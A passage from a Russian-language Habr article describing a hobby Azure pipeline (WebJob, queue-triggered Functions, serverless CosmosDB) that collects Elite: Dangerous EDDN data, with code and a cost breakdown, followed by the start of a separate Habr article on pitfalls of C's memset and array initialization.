Функции обладают такой неплохой фичей, как биндинги входных и выходных параметров (in/out bindings). Например, в контексте проекта, мы будем использовать входной биндинг `QueueTrigger` — в который рантайм будет мапить сообщения из очереди (и, в случае с dotnet, даже десериализовывать их во внутренние сущности). В качесте выходного биндинга мы могли бы использовать `CosmosDBTrigger` который будет мапиться на нужную коллекцию в базе. Но не будем (или будем но не всегда). Дело в том, что я начал с них, но столкнулся с проблемой намапить несколько выходных CosmosDB биндингов на разные коллекции (для случая когда сообщения из одной очереди должны попадать в разные коллекции) и так и не смог ее победить. Может я делал что-то не так, а может это и не реально сделать, но я быстро откатился до варианта: создаем свой db client и инжектим его в сервисы функции (через in-built DI, разумеется). Ладно, детали в коде, главное queue триггер есть и работает прекрасно.
> Немного полезной инфы про QueueTrigger. Когда сообщение попадает в фунцию, оно не удаляется из очереди — оно помечается как невидимое (invisible) и никакой другой клиент в очереди не сможет его прочитать. По умолчанию, время невидимости составляет 30 секунд (можно конфигурить). Если клиент явно не удалит сообщение из очереди за 30 секунд — оно станет снова доступно всем клиентам и увеличит собственный счетчик DequeueCount на 1. То же самое произойдет при возникновении исключительной ситуации в фунции (упали -> visible state on, ++DequeueCount). При DequeueCount = 5 (тоже настраивается), сообщение попадет в отдельную очередь с приставкой `-poison`. Например было сообщение из очереди `journal`, 5 раз упали на его обработке, сообщение ушло в очередь `journal-poison`. Из этой очереди потом можно найти непричастных и наказать невиновных (или как-то так). При успешном завершении функции, сообщение удаляется из очереди автоматически. Удобненько.
Ну и еще одно отличие от джобов: единицей масштабируемости WebJob является AppService. Единицей масштабируемости функции — Function App. Короче: фунции чуть более легковесны, чем вебджобы и сильно дешевле оных.
У этой автоматической масштабируемости есть свои плюсы и есть свои минусы. Например: время обработки сообщения не фиксированное, может такое случиться, что придет 2 или более сообщения одной сущности. Например 2 разных пилота просканировали одну и ту же планету близко по времени, но один пилот сделал детальный скан и его сообщение содержит полную информацию о планете, а второй пилот сделал базовый скан с минимумом информации. Да, проверять перед апсертом (upsert — update || insert) состояние сущности в базе можно и, в некоторых случаях нужно, но и это еще не вся история ;-) Итак 2 пилота, сообщения разной степени детальности, приходят в нашу очередь в любом порядке. в базе этой сущности еще нету, новая планета для нас. Один инстанс функции берет полное сообщение, второй не полное. Каждый проверяет есть в базе сущность или нет, ее нет, а дальше кто последний запишет, тот и победил. Есть риск оставить в базе не полную информацию при наличии полной в очереди, именно из-за масштабируемости функций (да, кстати, CosmosDB ACID compliant).
IMHO: Бороться с этим можно, но не уверен что нужно. Борьба будет идти за счет снижения производительности. Можно например залочить коллекцию или ограничить количество инстансов функций до 1. Но, сами понимаете — оно того не стоит. При таком объеме данных (напоминаю, что мы планируем оперировать сотнями миллионов звездных систем) мы не сильно испортим статистику парочкой не полных сущностей.
Так же Cosmos DB поддерживает так называюмую [Optimistic Concurrency](https://chapsas.com/understanding-optimistic-concurrency-in-cosmos-db/), но до ее детального изучения у меня еще руки не дошли. Возможно это может быть хорошим решением. Оставлю на будущее.
#### 4. CosmosDB
Тоже сервис как есть. Ничего особого с ним делать не надо, создали через портал (да простят меня девопсеры) инстанс, получили коннекшон стринги и поехали использовать. Ну разве что коллекции я создал заранее, т.к. не хотел засорять этим делом код.
Коллекций на данный момент у меня 4: `Signals`, `Systems`, `Stations`, `Bodies`. Их количество и названия обусловлены различной информацией, которая может присутствовать в сообщении схемы `journal` (помните я говорил в начале, что файл лога мне не очень нравится? вот по-этому).
Дело в том, что одним из полей сообщений `journal` является `Event`, который может принимать следующие значения: `CarrierJump`, `Docked`, `FsdJump`, `Location`, `SaaSignalsFound`, `Scan` (это есть в документации). И, исходя из значения эвента — сообщение будет содержать принципиально разную информацию. Отсюда и такое деление: одна очередь — несколько коллекций. Чуть более детально в коде.
> Немного полезной инфы про аккаунты CosmosDB. Единицей монетизации (не уверен, можно ли так выразиться) является Request Unit per second в час — RU/s. Т.е. вы платите за RU/s в час. У них сейчас существует 2 ценовые модели: `Provisioned throughput` и `Serverless` (которая сейчас в превью, но доступна для выбора). Разница в том, что в случае с Provisioned фы фиксируете гарантированное RU/s и платите фиксированную цену (даже если база простаивает), в случае Serverless, RU/s такая, какую вы сгенерируете, но вы платите только за использованные реквест юниты.
>
>
>
> Так же у Provisioned модели есть возможность назначить пределы масштабируемости RU/s. Скажем, если вы назначили RU/s в 400, то при включении автоскейлинга это значение будет варьироваться от 10% до 1000% от этого значения (40-4000 RU/s)
>
>
>
> Минимальное значение RU/s в Provisioned mode — 400. После некоторых экспериментов я понял, что потребляю, в среднем, 250 RU/s и платить за лишние 150 не захотел, так что пришлось переехать на Serverless модель.
>
>
>
> Сменить модель на живой базе нельзя, надо создавать новую (точнее целый новый аккаунт CosmosDB). Благо майкрософт услужливо предоставило утилиту для клонирования космос баз: [CosmicClone](https://github.com/microsoft/CosmicClone). Так что создал Serverless аккаунт и оперативно переехал на него. По прикидкам должно выйти чуть ли не в 2 раза дешевле. Заплатить за используемое в Provisioned Mode время, увы, все равно придется.
>
>
>
> Благодаря хранилищу очередей, переезд произошел с zero downtime для "пользователей" — я просто остановил мессадж процессоры, MessageDistributor продолжал раскидывать сообщения по очередям, в которых они и накапливались. Переместил коллекции в новую базу, поменял эндпоинты до базы в функциях и запустил их снова. Они быстренько смаштабировались в много инстансов и разгребли все очереди уже в новую базу. Старый аккаунт удалил.
>
>
>
> В ходе разработки и локальной отладки вам пригодится [эмулятор CosmosDB](https://docs.microsoft.com/pl-pl/azure/cosmos-db/local-emulator?tabs=cli%2Cssl-netstd21)
Итак, на этом по архитектуре все, подведем краткий итог: из EDDN переправляем сообщения в нужную очередь, из очереди ажур функция переправляет его в нужную коллекцию в БД.
Программирование
----------------
Как вы понимаете, никаких питонов и React Native — только dotnet, только хардкор. Распаковываем свои вижуал студии разной степени паршивости и поехали.
Сразу оставлю ссылку на репозиторий с солюшеном: [EDDNConsumer](https://github.com/ArtemKiyashko/EDDNConsumer). Извините, без ридми, без лицензии.
Разберем структуру солюшена и далее пройдемся чуть более детально по каждому проекту:
* `EDDNConsumerCore` — тот самый MessageDistributor. Читает сообщения из EDDN и отправляет их в нужную очередь
* `EDDNModels` — библиотека с моделями отражающими данные из EDDN
* `JournalContributor` — MessageProcessor для сообщений из очереди `journal`
* `SharedLibrary` — всякие хэлперы применимые в разных проектах. На нем я останавливаться не буду.
### EDDNConsumerCore
Типичный dotnet core 3.1 консольный проект. Типично начинается с функции Main и конфигурации DI. Точкой входа в нашу бизнес логику является HostedService `ConsumerService`
```
services.AddHostedService();
```
Для его работы нам потребуются следующие nuget-пакеты (помимо стандартного набора): `NetMQ` — клиентская библиотека для ZeroMq и `Ionic.Zlib` — для распаковки сообщений из NetMQ
Начинается его выполнение с метода `StartAsync`, который в моем случае не делает ничего особенного — он создает `NetMQRuntime` и запускает выполнение асинхронного делегата `ClientAsync` где и происходит чтение сообщений (приведу код полностью, он маленький):
```
private async Task ClientAsync()
{
var utf8 = new UTF8Encoding();
using (var client = new SubscriberSocket())
{
client.Connect(_eddnClientSettings.ConnectionString);
client.SubscribeToAnyTopic();
while (true)
{
try
{
(var bytes, _) = await client.ReceiveFrameBytesAsync();
var uncompressed = ZlibStream.UncompressBuffer(bytes);
var result = utf8.GetString(uncompressed);
await _messageDistributor.DistributeAsync(result);
_logger.LogInformation(result);
}
catch (Exception ex)
{
_logger.LogError(ex, "Error reading message queue");
}
}
}
}
```
Как видно, после получения сообщения (точнее фрейма, но в нашем случае все сообщение всегда помещается в 1 фрейм), мы его распаковываем и передаем в `_messageDistributor` который определит в какую очередь его запихнуть, скидываем в лог на всякий случай полученное сообщение и все, ждем новое. И так бесконечно.
Класс `MessageDistributor` и его единственный метод `DistributeAsync`:
```
public async Task DistributeAsync(string message)
{
try
{
using var stringReader = new StringReader(message);
using var jsonReader = new JsonTextReader(stringReader);
var result = _serializer.Deserialize>(jsonReader);
var queue = await \_messageQueueFactory.GetQueueAsync(result);
await queue.SendMessageAsync(message.Base64Encode());
}
catch(Exception ex)
{
\_logger.LogError(ex, "Error distributing message");
}
}
```
как видно, сам по себе не занимается определением нужной очереди, этим занимается `MessageQueueFactory`. Ответственность дистрибьютора — взять очередь и запихнуть туда сообщение. Тут я немного слукавил и возложил на него часть отвественности фактори: десериализация части сообщения. Как я упоминал выше, определение очереди происходит на основе проперти `schemaRef` которое в объекте `header` сообщения (посмотрите ссылки на схемы выше или файл `test_data.json` из репозитория и поймете о чем я). И эту часть было бы правильней перенести в фактори, но дело в том, что я еще не определился с одной функциональностью о которой сейчас расскажу.
Как вы знаете, сериализация (сейчас и далее везде — речь о JSON) может быть очень толерантной, иногда даже слишком. И во многих языках\библиотеках\фреймворках по умолчанию, если часть сериализованного сообщения не соответствует сигнатуре класса в которое его нужно десериализовать — ничего страшного, десериализуем то что есть, остальное будет null или default. Но я имею дело с системой которая может поменять модель данных в любую секунду (сама или по воле отправителя сообщения) и, какие бы POCO классы я бы не написал, более чем вероятно, что внезапно появится новое проперти или, тупо, я какое-то забыл поместить в класс. А я очень хотел бы быть информирован об этом.
Стандартная, для дотнета, json-библиотека `NewtonsoftJson` имеет настройку как реагировать на такие проперти (которые есть в json, но нет в классе). Можно повесить хэндлер на `Missing Member`
```
_serializer.MissingMemberHandling = MissingMemberHandling.Error;
_serializer.Error += _serializer_Error;
```
и жить припеваюче, перехватывая ошибки и логируя их в тот же `Application Insights`, настроив там Notification Alerts и прочие праздники ажуры. Но дело в том, что тогда мне тут нужно десериализовывать все сообщение, а не только `Header`. И вот с этим я пока борюсь. Я не могу поместить это на уровень ажурной фунции, т.к. там с управлением сериализацией есть некоторые проблемы, а по умолчанию сериализатор игнорирует missing property. Нет, тут нет ничего сложного, просто это моя недоделка.
Ладно, прочитали header сообщения передали его в фактори, получили очередь и записали туда сообщение. Взглянем на фактори, последняя значимая часть этого проекта (этот класс я приведу полностью):
```
public class MessageQueueFactory : IMessageQueueFactory
{
private readonly StorageAccount _storageOptions;
private readonly QueueMapping _queueMapping;
private readonly IDictionary \_queues = new Dictionary();
public MessageQueueFactory(
IOptions storageOptions,
IOptions queueMapping)
{
\_storageOptions = storageOptions.Value;
\_queueMapping = queueMapping.Value;
}
public async Task GetQueueAsync(Entity entity)
{
if (\_queueMapping.TryGetValue(entity.SchemaRef, out var queueName))
{
if (!\_queues.ContainsKey(queueName))
{
var client = new QueueClient(\_storageOptions.StorageConnectionString, queueName);
await client.CreateIfNotExistsAsync();
\_queues.Add(queueName, client);
}
return \_queues[queueName];
}
throw new ArgumentException($"Queue {entity.SchemaRef} has not configured", nameof(entity.SchemaRef));
}
}
```
У нас есть некий маппинг схем сообщений на очередь, хранится он в `appsettings` json файле и для продакшена выглядит так:
```
{
"QueueMapping": {
"eddn.edcd.io/schemas/journal/1": "journal"
}
}
```
более полный в девелопе (в проде пока только журналы):
```
"QueueMapping": {
"eddn.edcd.io/schemas/journal/1": "journal",
"eddn.edcd.io/schemas/blackmarket/1": "blackmarket",
"eddn.edcd.io/schemas/commodity/3": "commodity",
"eddn.edcd.io/schemas/outfitting/2": "outfitting",
"eddn.edcd.io/schemas/shipyard/2": "shipyard"
}
```
Как видно это обычный `Dictionary` с ключом в качестве `schemaRef`. По нему достаем имя нужной нам очереди.
Далее есть еще 1 словарь `_queues` — его я сделал для хранения `QueueClient`, чтобы не создавать постоянно клиенты очередей. Не памяти экономии ради, а времени для. Посчитав, что клиенты можно спокойно переиспользовать. Потому что неизвестно какой там round trip происходит при его инициализации, вдруг он стучится в редмонд прямо из конструктора. Да, причина возможно надумана, но не вижу повода ее игнорировать. Может я не прав, тогда поправьте.
Ну что же, если очередь ранее создана — возвращаем ее, если не создана — создаем и возвращаем. Все просто. А сверху стоит `MessageDistributor`, который уже отправит в нее сообщение.
Вот и все в этом проекте. 3 класса и ретранслятор готов. Идем дальше.
### EDDNModels
Это просто библиотека POCO классов. Вынесена в отдельный проект с целью заурядной логики, ну и просто потому что ее классы используются в нескольких проектах. Из интересного в нем только одно место, в классе `JournalMessage`:
```
[JsonProperty("id")]
public override string Id
{
get => Event switch
{
JournalEvent.FsdJump => StarSystem,
JournalEvent.Scan => BodyName,
JournalEvent.Docked => StationName,
JournalEvent.Location => BodyName,
JournalEvent.CarrierJump => StarSystem,
JournalEvent.SaaSignalsFound => BodyName,
_ => $"UnknownID_{Guid.NewGuid()}"
};
}
```
Проперти `Id`, которое мы обязаны иметь, чтобы сохранить объект в CosmosDB. По аналогии с любой СУБД и ORM. Помните я упоминал, что в сообщения `journal` могут быть разные модели и сохраняются они в разные коллекции? Ну вот, для этого этот свитч и существует. В зависимости от `Event` выбираем какое проперти использовать в качестве `Id`. Где-то имя системы, где-то имя космического тела, а где-то имя космической станции.
Информация передаваемая об объектах может быть самая разная. Для небесных тел это: гравитация, наклон оси, период обращения, радиус, масса, класс светимости, возраст, расстояние до звезды, наличие и состав колец, годится\не годится для посадки и т.п. (полный список можно посмотреть в классе `JournalMessage`). Для станций передается их тип, список услуг, главенствующая фракция и т.д. В общем это POCO — и они понятны даже ежу.
Идем дальше.
### JournalContributor
Наш "разгребатель" очереди `journal` — Azure Function App. Сам Function App это классическая dotnet core class library и может содерждать в себе несколько, собственно, функций. Метод функции помечается аттрибутом `FunctionName` через который может даже немного настраиваться. В этом проекте я использовал подход: одна задача — один Function App (с одной функцией). Все из-за единицы масштабируемости — приложение. Мне не было смысла пихать все мессадж процессоры в одно приложение, так как рантайм будет масштабировать все приложение целиком. А хотелось побольше гибкости. К тому же, функции настолько дешевые, что это вполне нам по карману (об этом в финансовой части).
Итак, у нас есть функция:
```
public class JournalContributor
{
private readonly IEventTypeProcessorFactory _eventTypeProcessorFactory;
public JournalContributor(IEventTypeProcessorFactory eventTypeProcessorFactory)
{
_eventTypeProcessorFactory = eventTypeProcessorFactory;
}
[FunctionName("ContributeJournal")]
public async Task Run(
[QueueTrigger("journal", Connection = "AzureWebJobsStorage")]
Entity myQueueItem,
ILogger log)
{
try
{
var eventProcessor = \_eventTypeProcessorFactory.GetProcessor(myQueueItem.Message);
await eventProcessor.ProcessEventAsync(myQueueItem.Message);
}
catch(Exception ex)
{
log.LogError(ex, $"Error processing queue item: {JsonConvert.SerializeObject(myQueueItem)}");
throw;
}
}
}
```
С входящим биндингом `QueueTrigger` в который рантайм передает нам сообщения из очереди (если они есть). Далее, по типу `Event` мы получаем конкретный обработчик для этого сообщения и… обрабатываем его.
Здесь, на самом деле, хочу остановиться только на конструкторе. Все дело во внедрении зависимости — оно не совсем такое, каким мы его привыкли видеть в большинстве dotnet приложений. Есть привычный нам класс `Startup` и даже метод `Configure`, но стартап должен наследовать класс `FunctionStartup` и должна быть указана сборка (`assembly`):
```
using JournalContributor.Settings;
using Microsoft.Extensions.Configuration;
using System.IO;
[assembly: FunctionsStartup(typeof(JournalContributor.Startup))]
namespace JournalContributor
{
public class Startup : FunctionsStartup
{
private IConfigurationRoot _functionConfig;
private readonly string COSMOS_CONNECTION_STRING = Environment.GetEnvironmentVariable("CosmosDBConnectionString");
private readonly string ENVIRONMENT = Environment.GetEnvironmentVariable("ASPNETCORE_ENVIRONMENT");
public override void Configure(IFunctionsHostBuilder builder)
{
_functionConfig = new ConfigurationBuilder()
.AddJsonFile(Path.Combine(builder.GetContext().ApplicationRootPath, "appsettings.json"), optional: true, reloadOnChange: true)
.AddJsonFile(Path.Combine(builder.GetContext().ApplicationRootPath, $"appsettings.{ENVIRONMENT}.json"), optional: true, reloadOnChange: true)
.Build();
builder.Services.AddSingleton(factory => new CosmosClient(COSMOS\_CONNECTION\_STRING));
builder.Services.AddSingleton();
builder.Services.AddTransient();
builder.Services.AddTransient();
builder.Services.AddTransient();
builder.Services.AddTransient();
builder.Services.AddTransient();
builder.Services.Configure(\_functionConfig.GetSection("CosmosDbSettings"));
}
}
}
```
Ну а дальше DI настраивается вполне привычно и думаю пояснений не требует. Хочу еще напомнить, почему родилась зависимость от `CosmosClient` в конструкторе функции: у меня не получилось внедрить несколько однотипных биндингов (`CosmosDB`). Разных? Пожалуйста. А вот 2 и более выходных биндинга на разные коллекции в `CosmosDB` — увы, не смог. У кого получится, просьба поделиться.
Вернемся к функции. Там, разумеется, есть фактори, которая есть просто `switch` с порождением нужного процессора:
```
public IEventTypeProcessor GetProcessor(JournalMessage journalMessage) => journalMessage.Event switch
{
JournalEvent.FsdJump => _serviceProvider.GetService(),
JournalEvent.Scan => \_serviceProvider.GetService(),
JournalEvent.Docked => \_serviceProvider.GetService(),
JournalEvent.Location => \_serviceProvider.GetService(),
JournalEvent.SaaSignalsFound => \_serviceProvider.GetService(),
JournalEvent.CarrierJump => \_serviceProvider.GetService(),
\_ => throw new ArgumentException($"Unknown Event {journalMessage.Event}", nameof(journalMessage.Event))
};
```
Все процессоры перебирать не будем, кому интересно, загляните в репу. Быстренько поясню только `ScanProcessor`, т.к. он единственный содержит больше 2-х строк:
```
public async Task ProcessEventAsync(JournalMessage message)
{
var existingItem = await message.CheckIfItemExists(_bodiesContainer, _options.BodiesCollection.PartitionKey);
if (existingItem == null)
await _bodiesContainer.UpsertItemAsync(message);
else
{
//Basic scan type contains less information then others.
//We`re skipping item upsert if remote item has scan type higher then Basic
//We`re also skippings if remote item scan type is Detailed (as it`s a maximum info scan)
//Will update item if both (remote and current) have scan type Basic
//And will upsert item in case of current item have higher scan type then remote
if ((message.ScanType == ScanType.Basic && existingItem.ScanType != ScanType.Basic) ||
existingItem.ScanType == ScanType.Detailed)
return;
else
await _bodiesContainer.UpsertItemAsync(message);
}
}
```
Я не являюсь большим фанатом комментариев в коде, так как считаю, что чаще всего (но далеко не всегда!) это не отражает квалификацию программиста, а наоборот, означает, что этот код настолько плох, что требует пояснений. Ну вот и тут решил эти пояснения оставить. Я вскользь упоминал про эту проблему с разной детализацией сканов выше и вот мой ответ на нее. Он не идеален, но пока другого у меня нет. Буквально, тут происходит следущее: мы проверяем, есть ли в контейнере `Bodies` сущность с таким же `Id` который нам приехал из очереди. Если нет, то сохраняем свою.
> Тут мне пришлось использовать именно UpSert, а не Insert, т.к. с инсертом я получал concurrency и вылезали ошибки: Item with such Id already exists (или как-то так). Думаю тот подход, упомянутый выше, с `Optimistic Concurrency` как раз бы решил эту проблему. Так что закинем эту мысль в беклог и вернемся потом. Пока upsert.
Если такая сущность в контейнере есть, то разбираемся что там по `ScanType`. `Detailed` — самый подробный тип и нам нет смысла его обновлять. `Basic` — самый малоинформативный — и его можно обновить всегда. Если в контейнере `Basic` — просто апсертим новое сообщение и не паримся. В этом вся логика.
Вот и вся функция. Тоже, фактически 3 класса, никакой магии и `MessageProcessor` для `journal` готов.
Результат
---------
Настало время посмотреть, что же у нас получилось. Напоминаю, что писали мы `Azure WebJob` для распределения сообщений из EDDN по очередям, создали `Storage Account` для хранения этих очередей, написали `Azure Function App` для обработки одного из типов сообщений из очереди и создали `Cosmos DB` аккаунт для хранения результатов. Так же я сбоку навернул `Application Insights` везде где только смог для мониторинга ситуации (и, сюрприз-сюрприз, это выстрелило мне в ногу по цене, но об этом в финансовой части). Ну что, задеплоили этот велосипед и давайте посмотрим что все работает.
Наш вебджоб запущен в режиме `continuous`, т.к. должен постоянно прослушивать сокет и тягать оттуда сообщения.
![image](img src="<https://habrastorage.org/webt/i_/5u/zq/i_5uzqxkanblmotxacqhtwnp_wq.png>)
Из ошибок только наши исключения, сообщающие о том, что не для всех `schemaRef` у нас еще есть очереди. Это нормально, других ошибок нет.
Stream-log нашей функции: реквесты идут, ошибок нет, среднее время обработки сообщения… более чем меня устраивает.
Количество запусков функции за последний час. Неплохо, малыш, неплохо.
Среднее потребление RU/s в нашей базе за последний час. Как видно — все еще выгодней чем `Provisioned Mode` с их минимальным 400 RU/s. И это в пиковое, вечернее время. Среднесуточное потребление ~105RU/s.
Заглянем в космос. За время написания статьи накопилось 145к звездных систем. Это крохи по сравнению с такими гигантами как EDSM, но и мы всего пару дней как открылись.
Последнее добавленное в базу небесное тело. Check.
Хватит наверное скриншотов. Все подсистемы запущены и работают штатно. Пора разобраться сколько нам это все будет стоить.
Финансовая часть
----------------
Моя не любимая. Давайте сразу обозначим допустимый бюджет. Так как именно из-за бюджетных ограничений были приняты некоторые архитектурные допущения.
В моем случае месячный бюджет 45 евро. Обусловлено это тем, что у меня есть MSDN подписка, дающая мне именно 45 евро в месяц. Так что я вписывался в эту цифру. Ага, губу раскатал. Сейчас буду закатывать обратно. 45 евро в месяц — это по 1.5 евро в день. Уж не знаю, есть ли у кого такие цены на инфраструктуру — у меня нет.
*И еще одно допущение — предоставить сейчас точные цифры за отчетный период я не могу. Во-первых — он еще не истек, во-вторых — текущие показатели "загрязнены" экпериментами во время разработки. Но мы постараемся апроксимировать и экстраполировать текущую ситуацию на отчетный период.*
Взглянем на стоимость всей ресурсной группы. Эта цена за ~10 дней работы инфраструктуры. Сразу бросается в глаза стоимость `appinsjournalweprivate` которая выше всех. А это всего лишь логи `Function App`. И тут я обнаружил первый серьезный промах — не настроил уровни логирования для фунции, а по умолчанию она логирует каждый чих. Умножьте это на количество запусков функции в час и получите миллион трейсов\час. За это надо платить:
После выявления сего факта (и смирения с тем что придется докидывать из своего кармана), были настроены уровни логирования в файле `host.json` проекта `JournalContributor`:
```
{
"version": "2.0",
"logging": {
"applicationInsights": {
"samplingExcludedTypes": "Request",
"samplingSettings": {
"isEnabled": true
}
},
"logLevel": {
"default": "Information",
"Host": "Error",
"Function": "Error",
"Host.Aggregator": "Information"
}
}
}
```
Спустя некоторе время можно наблюдать существенное улучшение ситуации:
А еще видно, как это хорошо сказалось на дневной стоимости (внимание на 21 октября и голубой столбик):
Теперь вот жду пока спадет прогноз (пока он показывает стоимость 193 евро за календарный месяц). В идеале стоимость за логи должна упасть до пары-тройки евро/месяц или меньше. За 21 октября она составила 1.75 евро. Посмотрите на скрин с ресурсной группой еще раз — там есть ресурс `appinsweprivate` — а это логи для нашего `WebJob`. И его цена на данный момент 0.98 евро за период и 0.19 евро за 21 октября.
Так же из расчета будущих затрат стоит убрать ресурс `cdbweprivate` — это старый аккаунт `CosmosDB` с `Provisioned Mode` в 400 RU/s. Он проработал несколько дней и сгенерил себе такую цену. Его заменил ресурс `cdbslweprivate` — `Serverless mode CosmosDB`. И стоит он на данный момент 4.47 евро.
Еще один ресурс от которого я избавился — `laweprivate`. Это `Log Analytics Workspace`, который я планировал использовать для хранения логов, анализа производительности запросов, индексов и т.п. `CosmosDB`. Но, осознав, что он немного выбивается из бюджета, решил его пока убрать. Пока.
Сделав эти допущения и взглянув на днейвную стоимость обновленной ресурсной группы, получим цифру **175,8 евро в месяц**. Теоретически, она еще должна немного уменьшиться.
Хочу заметить, что стоимость не должна сильно расти с течением времени. Во-первых. Время хранения логов в `appinsights` — 3 месяца. Это значение по умолчанию и оно максимальное, можно уменьшить. Так же можно добавить сэмплинг, чтобы хранить только определенный % одинаковых записей в логах, а не вообще все. Так что из-за ограничения на время хранения, стоимость, накопленная за 3 месяца — будет оставаться постоянной (если не менять уровни логирования).
Во-вторых. Стоимость `CosmosDB` зависит в основном от использованных RU/s (еще есть стоимость хранилища, но для наших объемов ее можно не учитывать совсем) и расчет идет за *каждый миллион RU/s* ([Pricing](https://azure.microsoft.com/en-us/pricing/details/cosmos-db/)), например за сутки я использовал вот столько:
Этот показатель зависит от скорости обработки сообщений и от их количества в EDDN. А значит, фактически, от количества игроков в Elite: Dangerous. Если количество игроков будет более-менее "не расти" — удорожания не произойдет. Хотя, конечно, с выходом нового глобального DLC Odyssey я надеюсь на прирост игроков, ведь от этого так же зависит размер накапливаемых мной данных. Так что тут не все так однозначно.
Так же, количество игроков может повлиять на стоимость `Function App` и `Storage Account`, но там будут цифры в пределах пары евро, так что я за это пока не волнуюсь.
Стоит понимать, что я могу сильно ошибаться в своих прикидках и стоимость будет выше ожидаемой. Поживем — увидим.
На этом с финансами пожалуй все. Пора подвести итоги и поразмышлять о будущем.
Выводы
------
У нас получилось создать вполне годный и рабочий прототип хранения и анализа довольно большого потока информации на облачной инфраструктуре.
Этот проект затевался "под себя" и "для себя", так что никакого фронта для внешних пользователей у меня в планах пока нет. В первую очередь из-за того, что это сильно увеличит расходы на инфраструктуру. Но мечтать об этом я себе позволяю =) Может быть, когда-нибудь, если будут деньги...
В текущей системе я вижу один серьезный недостаток — данные собираются очень медленно. Нет, не то чтобы что-то работает медленно, просто у меня 145 тысяч звездных систем, а у EDSM их 57 миллионов. И это не из-за того что что-то работает медленно, нет.
Взглянув на метрики моей функции за посление трое суток, я вижу пики и падения, причем пики происходят ближе к вечеру, а глубокой ночью идут спады. Это значит что функции оперативно реагируют на растущую нагрузку и вполне с ней справляются. Если бы функции работали "на пределе" — это был бы ровный график.
Это значит, что единственное что мне остается — это ждать. Или не единственное? Есть у меня один вариант. Попросить, все же, у ребят из EDSM их полный дамп и перетащить его себе. Если подумать, пару десятков гигов JSON — осуществимо. А главное — это мгновенно выровняет мои позиции по отношению к другим сервисам (по объему данных). За эту миграцию мне придется заплатить резким всплеском RU/s на базе, но это должен быть разовый эффект, так что терпимо. И вот это решение в моем роадмэпе стоит сейчас на первом месте.
Из приятных дополнений обладания базой в `CosmosDB` — поддержка [Jupyter Notebooks](https://docs.microsoft.com/en-us/azure/cosmos-db/cosmosdb-jupyter-notebooks). Где можно писать и визулизировать отчеты используя C#, Python, какие-то там еще языки. Я сам в этом полный ноль и только учусь, но выглядит это все просто потрясающе.
Вот, например, визуализация расположения посещенных пилотами систем из моей базы. С началом координат в Солнечной системе (в элите так и есть, система `Sol` имеет координаты [0,0,0]:
Надо табличное представление? Пожалуйста:
Или вот топ 5 планет пригодных для посадки с максимальной гравитацией:
*Как минимум первая из них соответствует данным из EDSM, значит кто-то недавно ее посещал, раз она попала в мою базу. В свое время, когда эту планету только открыли, весь ютуб был завален видосами с попытками посадки на нее — это не так-то просто. Но, впоследствие, народ наловчился.*
Или можно создать триггеры в `CosmosDB`, которые будут дергать `Azure Function` с входным биндингом из `Change Feed` (стримит измененные объекты), функция будет производить необходимый анализ и высылать оповещения в телеграм или куда еще.
Ну а придумывать всевозможные анализы данных можно бесконечно — `CosmosDB` предоставит все необходимые для этого средства.
Для тех кто дотерпел до конца и все еще заинтересован где искать землеподобные планеты в элите, вот вам ответ (результаты базируются на данных полученных с полного дампа EDSM примерно полугодичной давности):
F, K, G, A типы и, почему-то, нейтронки составляют топ 5 типов звезд у которых пилоты находили землеподобные планеты. Ну, вот такие результаты ¯\\_*(ツ)*/¯
Ну что ж. На этом все.
**Fly safe, cmdr!** | https://habr.com/ru/post/524924/ | null | ru | null |
# memset — сторона тьмы
После прочтения статьи [Самая опасная функция в мире С/С++](http://habrahabr.ru/company/pvs-studio/blog/272243/) я счёл полезным углубиться во зло, таящееся в тёмном погребе *memset*, и написать дополнение, чтобы шире раскрыть суть проблемы.
В языке Си повсеместно используется memset(), таящий в себе множество ловушек. Выдержка из C++ Reference:
> void \* memset ( void \* ptr, int value, size\_t num );
>
> **Fill block of memory**
>
> Sets the first num bytes of the block of memory pointed by ptr to the specified value (interpreted as an unsigned char).
>
> **Parameters**
>
> ptr — Pointer to the block of memory to fill.
>
> value — Value to be set. The value is passed as an int, but the function fills the block of memory using the unsigned char conversion of this value.
>
> num — Number of bytes to be set to the value. size\_t is an unsigned integral type.
>
> **Return Value**
>
> ptr is returned.
Как уже неоднократно подмечено, есть множество граблей, на которые наступают даже опытные разработчики. Из описанного в статье [Andrey2008](http://habrahabr.ru/users/andrey2008/) краткое **обобщение типичных ошибок**:
№1. Пытаясь вычислить размер массива, либо структуры, не используйте sizeof() для указателей на массив/структуру, он вернёт вам размер указателя 4 или 8 байт, вместо размера массива/структуры.
№2. Третий аргумент memset() принимает на вход количество байт, а не количество элементов, не учитывая тип данных. Добавлю ещё, например, тип int может занимать как 4, так и 8 байт, в зависимости от архитектуры. На этот случай следует использовать sizeof(int).
№3. Не путайте местами аргументы. Правильная последовательность это указатель, значение, длина в байтах.
№4. Не используйте memset при работе с объектами класса.
Но это лишь вершина айсберга.
### Альтернатива memset
**memset** — это низкоуровневая функция, обязывающая разработчика принимать во внимание все особенности архитектуры компьютера и её использование должно быть обосновано. Давайте для начала рассмотрим альтернативу *= {0}*, вместо *memset*, говорят это позволяет инициализировать массив или строку на этапе компиляции, что должно повышать быстродействие программы, в отличии от memset (также ZeroMemory), инициализирующих данные во время исполнения. Я решил это проверить.
```
void doInitialize()
{
char p0[25] = {0} ; // установит все 25 символов в 0
char p1[25] = "" ; // установит все 25 символов в 0
wchar_t p2[25] = {0} ; // установит 25 символов в 0
wchar_t p3[25] = L"" ; // установит все 25 символов в 0
short p4[62] = {0} // установит 62 значения в 0
int p5[37] = {-1} ; // установит значение первого элемента в -1
unsigned int p6[10] = {89} ; // установит значение первого элемента 89
}
```
**C99 [$6.7.8/21]**
> If there are fewer initializers in a brace-enclosed list than there are elements or members of an aggregate, or fewer characters in a string literal used to initialize an array of known size than there are elements in the array, the remainder of the aggregate shall be initialized implicitly the same as objects that have static storage duration.
Заодно такая инициализация снимает проблемы №1, №2, №3 с путаницей параметров и размеров буфера. То есть второй и третий аргумент местами мы не перепутаем, размер передавать не надо. Давайте же посмотрим как такой код преобразуют компиляторы. Все компиляторы сразу проверить я не могу, под рукой оказались gcc входящий в android-ndk-r10c, а также gcc в убунту 14.04.
**gcc -v**1) gcc version 4.9 20140827 (prerelease) (GCC)
2) gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1)
Давайте посмотрим как ведёт себя компилятор на таком куске кода:
```
void empty_string(){
int i;
char p1[25] = {0};
printf("\np1: ");
for (i = 0; i < 25; i++)
printf("%x,",p1[i]);
}
```
Итак, без оптимизации (-O0) инициализация массива компилируется в такой ассемблерный код (просматриваем бинарники с помощью objdump):
